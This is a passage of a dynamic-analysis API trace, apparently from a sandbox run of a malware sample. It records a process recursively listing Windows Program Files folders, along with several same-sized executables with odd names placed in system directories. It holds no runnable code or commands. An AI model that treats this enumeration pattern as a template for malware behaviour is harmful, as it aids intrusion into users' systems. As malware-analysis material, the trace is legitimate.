hFindFile=0x4d8660) returned 1 [0058.388] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0058.390] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc698d4b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc698d4b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0058.390] GetLastError () returned 0x12 [0058.390] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\*" (normalized: "c:\\program files\\windows photo viewer\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc698d4b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc698d4b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0058.390] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc698d4b0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc698d4b0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.390] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3399b80, ftCreationTime.dwHighDateTime=0x1d88c7c, ftLastAccessTime.dwLowDateTime=0xeb9f9840, ftLastAccessTime.dwHighDateTime=0x1d8bbfb, ftLastWriteTime.dwLowDateTime=0xeb9f9840, ftLastWriteTime.dwHighDateTime=0x1d8bbfb, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="alftp.exe", cAlternateFileName="")) returned 1 [0058.390] GetLastError () returned 0x12 [0058.391] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Photo Viewer\\en-US\\*" (normalized: "c:\\program files\\windows photo viewer\\en-us\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.391] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.392] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0058.392] GetLastError () returned 0x12 [0058.392] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.392] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.392] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0058.392] GetLastError () returned 0x12 [0058.392] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0058.392] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0058.394] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x987bf1ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x987bf1ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0058.394] GetLastError () returned 0x12 [0058.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Portable Devices\\*" (normalized: "c:\\program files\\windows portable devices\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x987bf1ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x987bf1ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0058.394] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x987bf1ac, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x987bf1ac, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.394] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa93f44c2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa93f44c2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa93f44c2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0058.394] GetLastError () returned 0x12 [0058.394] FindClose (in: hFindFile=0x4d8660 | out: hFindFile=0x4d8660) returned 1 [0058.394] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37c0050 | out: hHeap=0xab0000) returned 1 [0058.394] FindNextFileW (in: hFindFile=0x4d8620, lpFindFileData=0x2e6f6d8 | out: lpFindFileData=0x2e6f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc6d919d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6d919d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0058.394] GetLastError () returned 0x12 [0058.395] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\*" (normalized: "c:\\program files\\windows sidebar\\*"), lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc6d919d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6d919d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8660 [0058.395] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc6d919d0, ftLastAccessTime.dwHighDateTime=0x1d8c12f, ftLastWriteTime.dwLowDateTime=0xc6d919d0, ftLastWriteTime.dwHighDateTime=0x1d8c12f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.395] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b0a4960, ftCreationTime.dwHighDateTime=0x1d89f89, ftLastAccessTime.dwLowDateTime=0x1d35b5e0, ftLastAccessTime.dwHighDateTime=0x1d8a439, ftLastWriteTime.dwLowDateTime=0x1d35b5e0, ftLastWriteTime.dwHighDateTime=0x1d8a439, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="certainlyknow.exe", cAlternateFileName="CERTAI~1.EXE")) returned 1 [0058.395] GetLastError () returned 0x12 [0058.396] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\en-US\\*" (normalized: "c:\\program files\\windows sidebar\\en-us\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.396] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237a3493, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.396] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="sbdrop.dll.mui", cAlternateFileName="")) returned 1 [0058.396] GetLastError () returned 0x12 [0058.396] FindClose (in: hFindFile=0x4d87e0 | out: hFindFile=0x4d87e0) returned 1 [0058.396] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x37f0068 | out: hHeap=0xab0000) returned 1 [0058.397] FindNextFileW (in: hFindFile=0x4d8660, lpFindFileData=0x2e6f454 | out: lpFindFileData=0x2e6f454*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x516eccd0, ftCreationTime.dwHighDateTime=0x1d84b37, ftLastAccessTime.dwLowDateTime=0x7d1af4d0, ftLastAccessTime.dwHighDateTime=0x1d8606d, ftLastWriteTime.dwLowDateTime=0x7d1af4d0, ftLastWriteTime.dwHighDateTime=0x1d8606d, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="fling.exe", cAlternateFileName="")) returned 1 [0058.397] GetLastError () returned 0x12 [0058.397] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\*"), lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d87e0 [0058.737] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa1afe884, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.769] FindNextFileW (in: hFindFile=0x4d87e0, lpFindFileData=0x2e6f1d0 | out: lpFindFileData=0x2e6f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar.Gadget", cAlternateFileName="CALEND~1.GAD")) returned 1 [0058.770] GetLastError () returned 0x12 [0058.775] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\*"), lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0058.775] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eaffd21, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.775] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x842ddbeb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x842ddbeb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x27ed4187, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0058.775] GetLastError () returned 0x12 [0058.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0058.776] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.776] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.html", cAlternateFileName="")) returned 1 [0058.776] GetLastError () returned 0x12 [0058.776] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\css\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0058.776] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.776] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 1 [0058.776] GetLastError () returned 0x12 [0058.776] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0058.777] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0058.777] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0058.777] GetLastError () returned 0x12 [0058.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\js\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\en-us\\js\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d8860 [0058.778] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.778] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xff08, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.js", cAlternateFileName="")) returned 1 [0058.778] GetLastError () returned 0x12 [0058.778] FindClose (in: hFindFile=0x4d8860 | out: hFindFile=0x4d8860) returned 1 [0058.778] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3820080 | out: hHeap=0xab0000) returned 1 [0058.778] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0058.778] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0058.778] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3810078 | out: hHeap=0xab0000) returned 1 [0058.778] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x28135767, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x28135767, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0058.778] GetLastError () returned 0x12 [0058.778] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\*" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0058.780] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x805ee1db, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x805ee1db, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.780] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28135767, ftCreationTime.dwHighDateTime=0x1c9ea0e, 